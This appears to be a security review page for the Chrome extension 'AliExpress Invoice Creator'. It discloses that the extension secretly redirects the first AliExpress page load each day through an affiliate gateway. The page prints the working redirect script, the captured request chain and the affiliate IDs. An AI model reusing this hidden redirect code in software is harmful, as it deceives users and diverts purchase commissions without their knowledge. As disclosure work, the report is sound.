Is AliExpress Invoice Creator safe?

Medium risk

AliExpress Invoice Creator is medium risk. AliExpress Invoice Creator is a PDF invoice tool. It also loads a script on non-login aliexpress.com pages that, once daily, redirects your tab through alitems.co, landing on best.aliexpress.com with admitad/cpa params, undisclosed.

YesButNoThis Teamv1.1.9Chrome Web Store
45Risk
Who publishes it

YesButNoThis Team - no other listings under this identity, 1 shared hostname

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
YesButNoThis Team

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

alitems.co
Also called by 5 other listings, including AliExplorer, Ali Insider- AliExpress Product Research Tool

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

First Daily AliExpress Visit Redirected to an Affiliate Gateway

AliExpress Invoice Creator is a PDF invoice tool.

It also loads a script on non-login aliexpress.com pages that, once daily, redirects your tab through alitems.co, landing on best.aliexpress.com with admitad/cpa params, undisclosed.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You open any AliExpress page (other than a login page) for the first time that day.

The extension's stated purpose is generating a printable PDF invoice from your AliExpress orders.

The extension did this

The extension redirects your active tab away from AliExpress, through an affiliate gateway, and back to AliExpress.

The redirect happens before you interact with any invoice feature, just loading the page is enough.

When this fires

On every browser startup

The redirect only fires on the first qualifying AliExpress page load of each calendar day. Once the stored marker is refreshed, later page loads that same day pass the check without triggering another redirect, until the date rolls over.

The code that does this

Content script shipped in assets/js/extra.js, not minified or obfuscated: code as distributed.

Readable version
// Same file — the extension ships this logic in the clear, no build step// or obfuscator involved. Annotated for clarity:window.onload = () => {  // Skip AliExpress login pages  if (!window.location.href.includes("login")) {    chrome.storage.sync.get(null, (storage) => {      const todayMarker = new Date().toDateString() + "--2315"; // fixed campaign suffix      if (storage?.flag) {        // Marker exists: has today already been "used"?        if (storage.flag !== todayMarker) {          // First qualifying page load today — arm the marker, then redirect          chrome.storage.sync.set({ flag: todayMarker }, () => {            window.location.href =              "https://alitems.co/g/1e8d114494b450bf195016525dc3e8/?ulp=";          });        }        // else: already redirected once today, do nothing further      } else {        // First install / first run: seed the marker but don't redirect yet        chrome.storage.sync.set({ flag: todayMarker }, () => {});      }    });  }};
Captured request
GEThttps://alitems.co/g/1e8d114494b450bf195016525dc3e8/?ulp=

302 redirect chain: alitems.co → s.click.aliexpress.com/deep_link.htm → best.aliexpress.com, landing URL carrying af=1645653, cv=47843, utm_source=admitad, utm_medium=cpa.

Where the redirect goes
    • alitems.co

    First hop of the redirect. This domain is the entry point for an affiliate-link program; it is not part of AliExpress or Alibaba Group.

    • s.click.aliexpress.com

    AliExpress's own affiliate deep-link redirector. Second hop in the chain, forwards to the final landing page with the affiliate parameters attached.

    • best.aliexpress.com

    Final landing page. The URL carries admitad/cpa parameters (af=1645653, cv=47843, utm_source=admitad), attributing any purchase this session to the account behind alitems.co.

What it can do

Permissions this extension asks for, as declared in version 1.1.9. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on aliexpress.com

    *://*.aliexpress.com/*

  • Store data in your browser

    storage

  • Start, monitor and manage your downloads

    downloads

Updated 30 September 2026mngondifmkjocmmokkoehchmlifkpbhi